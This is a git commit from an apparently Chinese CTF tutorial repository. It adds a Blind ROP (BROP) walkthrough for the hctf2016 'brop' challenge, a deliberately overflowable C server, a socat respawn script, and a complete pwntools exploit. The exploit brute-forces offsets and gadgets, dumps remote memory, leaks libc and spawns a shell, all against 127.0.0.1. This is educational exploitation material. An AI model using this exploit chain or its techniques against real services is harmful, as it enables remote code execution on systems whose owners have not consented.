finish 6.1

This commit is contained in:
firmianay 2017-11-12 15:35:17 +08:00
parent b96afa36e2
commit bcd42d7ef1
8 changed files with 810 additions and 3 deletions

View File

@ -6,8 +6,8 @@
函数 `__libc_csu_init()` 用于对 libc 进行初始化,只要程序调用了 libc就一定存在这个函数。由于每个版本的 libc 都有一定区别,这里的版本如下: 函数 `__libc_csu_init()` 用于对 libc 进行初始化,只要程序调用了 libc就一定存在这个函数。由于每个版本的 libc 都有一定区别,这里的版本如下:
``` ```
$ file /usr/lib32/libc-2.26.so $ file /usr/lib/libc-2.26.so
/usr/lib32/libc-2.26.so: ELF 32-bit LSB shared object, Intel 80386, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib32/ld-linux.so.2, BuildID[sha1]=ee88d1b2aa81f104ab5645d407e190b244203a52, for GNU/Linux 3.2.0, not stripped /usr/lib/libc-2.26.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib/ld-linux-x86-64.so.2, BuildID[sha1]=f46739d962ec152b56d2bdb7dadaf8e576dbf6eb, for GNU/Linux 3.2.0, not stripped
``` ```
下面用 6.1 pwn hctf2016 brop 的程序来做示范,使用 `/r` 参数可以打印出原始指令的十六进制: 下面用 6.1 pwn hctf2016 brop 的程序来做示范,使用 `/r` 参数可以打印出原始指令的十六进制:
``` ```
@ -89,6 +89,21 @@ pop r15 #rdx
ret #跳转到part2 ret #跳转到part2
``` ```
下面附上一个可直接调用的函数:
```python
def com_gadget(part1, part2, jmp2, arg1 = 0x0, arg2 = 0x0, arg3 = 0x0):
payload = p64(part1) # part1 entry pop_rbx_pop_rbp_pop_r12_pop_r13_pop_r14_pop_r15_ret
payload += p64(0x0) # rbx be 0x0
payload += p64(0x1) # rbp be 0x1
payload += p64(jmp2) # r12 jump to
payload += p64(arg1) # r13 -> edi arg1
payload += p64(arg2) # r14 -> rsi arg2
payload += p64(arg3) # r15 -> rdx arg3
payload += p64(part2) # part2 entry will call [r12+rbx*0x8]
payload += 'A' * 56 # junk 6*8+8=56
return payload
```
上面的 gadget 是显而易见的,但如果有人精通汇编字节码,可以找到一些比较隐蔽的 gadget比如将指定一个位移点再反编译 上面的 gadget 是显而易见的,但如果有人精通汇编字节码,可以找到一些比较隐蔽的 gadget比如将指定一个位移点再反编译
``` ```
gdb-peda$ disassemble /r 0x0000000000400831,0x0000000000400835 gdb-peda$ disassemble /r 0x0000000000400831,0x0000000000400835
@ -107,6 +122,8 @@ End of assembler dump.
``` ```
`5e``5f` 分别是 `pop rsi``pop rdi` 的字节码,于是我们可以通过这种方法轻易地控制 `rsi``rdi` `5e``5f` 分别是 `pop rsi``pop rdi` 的字节码,于是我们可以通过这种方法轻易地控制 `rsi``rdi`
在 6.1 pwn hctf2016 brop 的exp中我们使用了偏移后的 `pop rdi; ret`,而没有用 `com_gadget()` 函数感兴趣的童鞋可以尝试使用它重写exp。
除了上面介绍的 `__libc_csu_init()`,还可以到下面的函数中找一找: 除了上面介绍的 `__libc_csu_init()`,还可以到下面的函数中找一找:
``` ```
_init _init

View File

@ -1,6 +1,13 @@
# 6.1 pwn hctf2016 brop # 6.1 pwn hctf2016 brop
出题人在 github 上开源了代码,如下: - [题目复现](#题目复现)
- [BROP 原理及题目解析](#brop-原理及题目解析)
- [Exploit](#exploit)
- [参考资料](#参考资料)
## 题目复现
出题人在 github 上开源了代码,[出题人失踪了](https://github.com/zh-explorer/hctf2016-brop)。如下:
```C ```C
#include <stdio.h> #include <stdio.h>
#include <unistd.h> #include <unistd.h>
@ -48,3 +55,541 @@ while true; do
fi fi
done done
``` ```
在一个单独的 shell 中运行它,这样我们就简单模拟出了比赛时的环境,即仅提供 ip 和端口。不停地断开重连特别耗CPU建议在服务器上跑
## BROP 原理和题目解析
BROP 即 Blind ROP需要我们在无法获得二进制文件的情况下通过 ROP 进行远程攻击,劫持该应用程序的控制流,可用于开启了 ASLR、NX和栈canaries的 64-bit Linux。这一概念是是在 2014 年提出的,论文和幻灯片在参考资料中。
实现这一攻击有两个必要条件:
1. 目标程序存在一个栈溢出漏洞,并且我们知道怎样去触发它
2. 目标进程在崩溃后会立即重启,并且重启后进程被加载的地址不变,这样即使目标机器开启了 ASLR 也没有影响。
下面我们结合题目来讲一讲。
#### 栈溢出
首先是要找到栈溢出的漏洞,老办法从 1 个字符开始,暴力枚举,直到它崩溃。
```python
def get_buffer_size():
for i in range(100):
payload = "A"
payload += "A"*i
buf_size = len(payload) - 1
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.send(payload)
p.recv()
p.close()
log.info("bad: %d" % buf_size)
except EOFError as e:
p.close()
log.info("buffer size: %d" % buf_size)
return buf_size
```
```
[*] buffer size: 72
```
要注意的是,崩溃意味着我们覆盖到了返回地址,所以缓冲区应该是发送的字符数减一,即 buf(64)+ebp(8)=72。该题并没有开启canary所以跳过爆破的过程。
#### stop gadget
在寻找通用 gadget 之前,我们需要一个 stop gadget。一般情况下当我们把返回地址覆盖后程序有很大的几率会挂掉因为所覆盖的地址可能并不是合法的所以我们需要一个能够使程序正常返回的地址称作 stop gadget这一步至关重要。stop gadget 可能不止一个,这里我们之间返回找到的第一个好了:
```python
def get_stop_addr(buf_size):
addr = 0x400000
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("stop address: 0x%x" % addr)
return addr
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
```
由于我们在本地的守护脚本略简陋,在程序挂掉和重新启动之间存在一定的时间差,所以这里 `sleep(0.1)` 做一定的缓冲,如果还是冲突,在 `except` 进行处理,后面的代码也一样。
```
[*] stop address: 0x4005e5
```
#### common gadget
有了 stop gadget那些原本会导致程序崩溃的地址还是一样会导致崩溃但那些正常返回的地址则会通过 stop gadget 进入被挂起的状态。下面我们就可以寻找其他可利用的 gadget由于是 64 位程序,可以考虑使用通用 gadget有关该内容请参见章节4.7
```python
def get_gadgets_addr(buf_size, stop_addr):
addr = stop_addr
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(addr)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("find address: 0x%x" % addr)
try: # check
payload = "A"*buf_size
payload += p64(addr)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("bad address: 0x%x" % addr)
except:
p.close()
log.info("gadget address: 0x%x" % addr)
return addr
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
```
直接从 stop gadget 的地方开始搜索就可以了。另外,找到一个正常返回的地址之后,需要进行检查,以确定是它确实是通用 gadget。
```
[*] gadget address: 0x40082a
```
有了通用 gadget就可以得到 `pop rdi; ret` 的地址了,即 gadget address + 9。
#### puts@plt
plt 表具有比较规整的结构,每一个表项都是 16 字节,而在每个表项的 6 字节偏移处,是该表项对应函数的解析路径,所以先得到 plt 地址,然后 dump 出内存,就可以找到 got 地址。
这里我们使用 puts 函数来 dump 内存,比起 write它只需要一个参数很方便
```python
def get_puts_plt(buf_size, stop_addr, gadgets_addr):
pop_rdi = gadgets_addr + 9 # pop rdi; ret;
addr = stop_addr
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(0x400000)
payload += p64(addr)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
if p.recv().startswith("\x7fELF"):
log.info("puts@plt address: 0x%x" % addr)
p.close()
return addr
log.info("bad: 0x%x" % addr)
p.close()
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
```
这里让 puts 打印出 `0x400000` 地址处的内容因为这里通常是程序头的位置关闭PIE且前四个字符为 `\x7fELF`,方便进行验证。
```
[*] puts@plt address: 0x4005e7
```
成功找到一个地址,它确实调用 puts打印出了 `\x7fELF`,那它真的就是 puts@plt 的地址吗,不一定,看一下呗,反正我们有二进制文件。
```
gdb-peda$ disassemble /r 0x4005f0
Dump of assembler code for function puts@plt:
0x00000000004005f0 <+0>: ff 25 22 0a 20 00 jmp QWORD PTR [rip+0x200a22] # 0x601018
0x00000000004005f6 <+6>: 68 00 00 00 00 push 0x0
0x00000000004005fb <+11>: e9 e0 ff ff ff jmp 0x4005e0
End of assembler dump.
```
不对呀puts@plt 明明是在 `0x4005f0`,那么 `0x4005e7` 是什么鬼。
```
gdb-peda$ pdisass /r 0x4005e7,0x400600
Dump of assembler code from 0x4005e7 to 0x400600:
0x00000000004005e7: 25 24 0a 20 00 and eax,0x200a24
0x00000000004005ec: 0f 1f 40 00 nop DWORD PTR [rax+0x0]
0x00000000004005f0 <puts@plt+0>: ff 25 22 0a 20 00 jmp QWORD PTR [rip+0x200a22] # 0x601018
0x00000000004005f6 <puts@plt+6>: 68 00 00 00 00 push 0x0
0x00000000004005fb <puts@plt+11>: e9 e0 ff ff ff jmp 0x4005e0
End of assembler dump.
```
原来是由于反汇编时候的偏移,导致了这个问题,当然了前两句对后面的 puts 语句并没有什么影响,忽略它,在后面的代码中继续使用 `0x4005e7`
#### remote dump
有了 puts有了 gadget就可以着手 dump 程序了:
```python
def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr):
pop_rdi = gadgets_addr + 9 # pop rdi; ret
result = ""
while start_addr < end_addr:
#print result.encode('hex')
sleep(0.1)
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(start_addr)
payload += p64(puts_plt)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
data = p.recv(timeout=0.1) # timeout makes sure to recive all bytes
if data == "\n":
data = "\x00"
elif data[-1] == "\n":
data = data[:-1]
log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex')))
result += data
start_addr += len(data)
p.close()
except:
log.info("Can't connect")
return result
```
我们知道 puts 函数通过 `\x00` 进行截断,并且会在每一次输出末尾加上换行符 `\x0a`,所以有一些特殊情况需要做一些处理,比如单独的 `\x00`、`\x0a` 等,首先当然是先去掉末尾 puts 自动加上的 `\n`,然后如果 recv 到一个 `\n`,说明内存中是 `\x00`,如果 recv 到一个 `\n\n`,说明内存中是 `\x0a`。`p.recv(timeout=0.1)` 是由于函数本身的设定,如果有 `\n\n`,它很可能在收到第一个 `\n` 时就返回了,加上参数可以让它全部接收完。
这里选择从 `0x400000` dump到 `0x401000`,足够了,你还可以 dump 下 data 段的数据,大概从 `0x600000` 开始。
#### puts@got
拿到 dump 下来的文件,使用 Radare2 打开,使用参数 `-B` 指定程序基地址,然后反汇编 `puts@plt` 的位置 `0x4005e7`,当然你要直接反汇编 `0x4005f0` 也行:
```
$ r2 -B 0x400000 code.bin
[0x00400630]> pd 14 @ 0x4005e7
:::: 0x004005e7 25240a2000 and eax, 0x200a24
:::: 0x004005ec 0f1f4000 nop dword [rax]
:::: 0x004005f0 ff25220a2000 jmp qword [0x00601018] ; [0x601018:8]=-1
:::: 0x004005f6 6800000000 push 0
`====< 0x004005fb e9e0ffffff jmp 0x4005e0
::: 0x00400600 ff251a0a2000 jmp qword [0x00601020] ; [0x601020:8]=-1
::: 0x00400606 6801000000 push 1 ; 1
`===< 0x0040060b e9d0ffffff jmp 0x4005e0
:: 0x00400610 ff25120a2000 jmp qword [0x00601028] ; [0x601028:8]=-1
:: 0x00400616 6802000000 push 2 ; 2
`==< 0x0040061b e9c0ffffff jmp 0x4005e0
: 0x00400620 ff250a0a2000 jmp qword [0x00601030] ; [0x601030:8]=-1
: 0x00400626 6803000000 push 3 ; 3
`=< 0x0040062b e9b0ffffff jmp 0x4005e0
```
于是我们就得到了 puts@got 地址 `0x00601018`。可以看到该表中还有其他几个函数,根据程序的功能大概可以猜到,无非就是 setbuf、read 之类的,在后面的过程中如果实在无法确定 libc这些信息可能会有用。
#### attack
后面的过程和无 libc 的利用差不多了,先使用 puts 打印出其在内存中的地址,然后在 libc-database 里查找相应的 libc也就是目标机器上的 libc通过偏移计算出 `system()` 函数和字符串 `/bin/sh` 的地址,构造 payload 就可以了。
```python
def get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got):
pop_rdi = gadgets_addr + 9
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(stop_addr)
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
data = p.recvline()
data = u64(data[:-1] + '\x00\x00')
log.info("puts address: 0x%x" % data)
p.close()
return data
```
```
[*] puts address: 0x7ffff7a90210
```
这里插一下 [libc-database](https://github.com/niklasb/libc-database) 的用法,由于我本地的 libc 版本比较新,可能未收录,就直接将它添加进去好了:
```
$ ./add /usr/lib/libc-2.26.so
Adding local libc /usr/lib/libc-2.26.so (id local-e112b79b632f33fce6908f5ffd2f61a5d8058570 /usr/lib/libc-2.26.so)
-> Writing libc to db/local-e112b79b632f33fce6908f5ffd2f61a5d8058570.so
-> Writing symbols to db/local-e112b79b632f33fce6908f5ffd2f61a5d8058570.symbols
-> Writing version info
```
然后查询ASLR 并不影响后 12 位的值):
```
$ ./find puts 210
/usr/lib/libc-2.26.so (id local-e112b79b632f33fce6908f5ffd2f61a5d8058570)
$ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570
offset___libc_start_main_ret = 0x20f6a
offset_system = 0x0000000000042010
offset_dup2 = 0x00000000000e8100
offset_read = 0x00000000000e7820
offset_write = 0x00000000000e78c0
offset_str_bin_sh = 0x17aff5
$ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570 puts
offset_puts = 0x000000000006f210
```
```python
offset_puts = 0x000000000006f210
offset_system = 0x0000000000042010
offset_str_bin_sh = 0x17aff5
system_addr = (puts_addr - offset_puts) + offset_system
binsh_addr = (puts_addr - offset_puts) + offset_str_bin_sh
# get shell
payload = "A"*buf_size
payload += p64(gadgets_addr + 9) # pop rdi; ret;
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(stop_addr)
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.interactive()
```
Bingo!!!
```
$ python2 exp.py
[+] Opening connection to 127.0.0.1 on port 10001: Done
[*] Switching to interactive mode
$ whoami
firmy
```
## Expolit
完整的 exp 如下其他文件放在了github相应文件夹中
```python
from pwn import *
#context.log_level = 'debug'
def get_buffer_size():
for i in range(100):
payload = "A"
payload += "A"*i
buf_size = len(payload) - 1
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.send(payload)
p.recv()
p.close()
log.info("bad: %d" % buf_size)
except EOFError as e:
p.close()
log.info("buffer size: %d" % buf_size)
return buf_size
def get_stop_addr(buf_size):
addr = 0x400000
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("stop address: 0x%x" % addr)
return addr
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
def get_gadgets_addr(buf_size, stop_addr):
addr = stop_addr
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(addr)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("find address: 0x%x" % addr)
try: # check
payload = "A"*buf_size
payload += p64(addr)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("bad address: 0x%x" % addr)
except:
p.close()
log.info("gadget address: 0x%x" % addr)
return addr
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
def get_puts_plt(buf_size, stop_addr, gadgets_addr):
pop_rdi = gadgets_addr + 9 # pop rdi; ret;
addr = stop_addr
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(0x400000)
payload += p64(addr)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
if p.recv().startswith("\x7fELF"):
log.info("puts@plt address: 0x%x" % addr)
p.close()
return addr
log.info("bad: 0x%x" % addr)
p.close()
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr):
pop_rdi = gadgets_addr + 9 # pop rdi; ret
result = ""
while start_addr < end_addr:
#print result.encode('hex')
sleep(0.1)
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(start_addr)
payload += p64(puts_plt)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
data = p.recv(timeout=0.1) # timeout makes sure to recive all bytes
if data == "\n":
data = "\x00"
elif data[-1] == "\n":
data = data[:-1]
log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex')))
result += data
start_addr += len(data)
p.close()
except:
log.info("Can't connect")
return result
def get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got):
pop_rdi = gadgets_addr + 9
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(stop_addr)
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
data = p.recvline()
data = u64(data[:-1] + '\x00\x00')
log.info("puts address: 0x%x" % data)
p.close()
return data
#buf_size = get_buffer_size()
buf_size = 72
#stop_addr = get_stop_addr(buf_size)
stop_addr = 0x4005e5
#gadgets_addr = get_gadgets_addr(buf_size, stop_addr)
gadgets_addr = 0x40082a
#puts_plt = get_puts_plt(buf_size, stop_addr, gadgets_addr)
puts_plt = 0x4005e7 # fake puts
#puts_plt = 0x4005f0 # true puts
# dump code section from memory
# and then use Radare2 or IDA Pro to find the got address
#start_addr = 0x400000
#end_addr = 0x401000
#code_bin = dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr)
#with open('code.bin', 'wb') as f:
# f.write(code_bin)
# f.close()
puts_got = 0x00601018
# you can also dump data from memory and get information from .got
#start_addr = 0x600000
#end_addr = 0x602000
#data_bin = dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr)
#with open('data.bin', 'wb') as f:
# f.write(data_bin)
# f.close()
# must close ASLR
#puts_addr = get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got)
puts_addr = 0x7ffff7a90210
# first add your own libc into libc-database: $ ./add /usr/lib/libc-2.26.so
# $ ./find puts 0x7ffff7a90210
# or $ ./find puts 210
# $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570
# $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570 puts
# then you can get the following offset
offset_puts = 0x000000000006f210
offset_system = 0x0000000000042010
offset_str_bin_sh = 0x17aff5
system_addr = (puts_addr - offset_puts) + offset_system
binsh_addr = (puts_addr - offset_puts) + offset_str_bin_sh
# get shell
payload = "A"*buf_size
payload += p64(gadgets_addr + 9) # pop rdi; ret;
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(stop_addr)
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.interactive()
```
## 参考资料
- [Blind Return Oriented Programming (BROP)](http://www.scs.stanford.edu/brop/)
- [Blind Return Oriented Programming (BROP) Attack (1)](http://ytliu.info/blog/2014/05/31/blind-return-oriented-programming-brop-attack-yi/)

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,217 @@
from pwn import *
#context.log_level = 'debug'
def get_buffer_size():
for i in range(100):
payload = "A"
payload += "A"*i
buf_size = len(payload) - 1
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.send(payload)
p.recv()
p.close()
log.info("bad: %d" % buf_size)
except EOFError as e:
p.close()
log.info("buffer size: %d" % buf_size)
return buf_size
def get_stop_addr(buf_size):
addr = 0x400000
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("stop address: 0x%x" % addr)
return addr
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
def get_gadgets_addr(buf_size, stop_addr):
addr = stop_addr
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(addr)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("find address: 0x%x" % addr)
try: # check
payload = "A"*buf_size
payload += p64(addr)
payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) + p64(6)
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.recvline()
p.close()
log.info("bad address: 0x%x" % addr)
except:
p.close()
log.info("gadget address: 0x%x" % addr)
return addr
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
def get_puts_plt(buf_size, stop_addr, gadgets_addr):
pop_rdi = gadgets_addr + 9 # pop rdi; ret;
addr = stop_addr
while True:
sleep(0.1)
addr += 1
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(0x400000)
payload += p64(addr)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
if p.recv().startswith("\x7fELF"):
log.info("puts@plt address: 0x%x" % addr)
p.close()
return addr
log.info("bad: 0x%x" % addr)
p.close()
except EOFError as e:
p.close()
log.info("bad: 0x%x" % addr)
except:
log.info("Can't connect")
addr -= 1
def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr):
pop_rdi = gadgets_addr + 9 # pop rdi; ret
result = ""
while start_addr < end_addr:
#print result.encode('hex')
sleep(0.1)
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(start_addr)
payload += p64(puts_plt)
payload += p64(stop_addr)
try:
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
data = p.recv(timeout=0.1) # timeout makes sure to recive all bytes
if data == "\n":
data = "\x00"
elif data[-1] == "\n":
data = data[:-1]
log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex')))
result += data
start_addr += len(data)
p.close()
except:
log.info("Can't connect")
return result
def get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got):
pop_rdi = gadgets_addr + 9
payload = "A"*buf_size
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)
payload += p64(stop_addr)
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
data = p.recvline()
data = u64(data[:-1] + '\x00\x00')
log.info("puts address: 0x%x" % data)
p.close()
return data
#buf_size = get_buffer_size()
buf_size = 72
#stop_addr = get_stop_addr(buf_size)
stop_addr = 0x4005e5
#gadgets_addr = get_gadgets_addr(buf_size, stop_addr)
gadgets_addr = 0x40082a
#puts_plt = get_puts_plt(buf_size, stop_addr, gadgets_addr)
puts_plt = 0x4005e7 # fake puts
#puts_plt = 0x4005f0 # true puts
# dump code section from memory
# and then use Radare2 or IDA Pro to find the got address
#start_addr = 0x400000
#end_addr = 0x401000
#code_bin = dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr)
#with open('code.bin', 'wb') as f:
# f.write(code_bin)
# f.close()
puts_got = 0x00601018
# you can also dump data from memory and get information from .got
#start_addr = 0x600000
#end_addr = 0x602000
#data_bin = dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr)
#with open('data.bin', 'wb') as f:
# f.write(data_bin)
# f.close()
# must close ASLR
#puts_addr = get_puts_addr(buf_size, stop_addr, gadgets_addr, puts_plt, puts_got)
puts_addr = 0x7ffff7a90210
# first add your own libc into libc-database: $ ./add /usr/lib/libc-2.26.so
# $ ./find puts 0x7ffff7a90210
# or $ ./find puts 210
# $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570
# $ ./dump local-e112b79b632f33fce6908f5ffd2f61a5d8058570 puts
# then you can get the following offset
offset_puts = 0x000000000006f210
offset_system = 0x0000000000042010
offset_str_bin_sh = 0x17aff5
system_addr = (puts_addr - offset_puts) + offset_system
binsh_addr = (puts_addr - offset_puts) + offset_str_bin_sh
# get shell
payload = "A"*buf_size
payload += p64(gadgets_addr + 9) # pop rdi; ret;
payload += p64(binsh_addr)
payload += p64(system_addr)
payload += p64(stop_addr)
p = remote('127.0.0.1', 10001)
p.recvline()
p.sendline(payload)
p.interactive()

View File

@ -0,0 +1,21 @@
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int i;
int check();
int main(void){
setbuf(stdin,NULL);
setbuf(stdout,NULL);
setbuf(stderr,NULL);
puts("WelCome my friend,Do you know password?");
if(!check()){
puts("Do not dump my memory");
}else {
puts("No password, no game");
}
}
int check(){
char buf[50];
read(STDIN_FILENO,buf,1024);
return strcmp(buf,"aslvkm;asd;alsfm;aoeim;wnv;lasdnvdljasd;flk");
}

View File

@ -0,0 +1,7 @@
#!/bin/sh
while true; do
num=`ps -ef | grep "socat" | grep -v "grep" | wc -l`
if [ $num -lt 5 ]; then
socat tcp4-listen:10001,reuseaddr,fork exec:./a.out &
fi
done

View File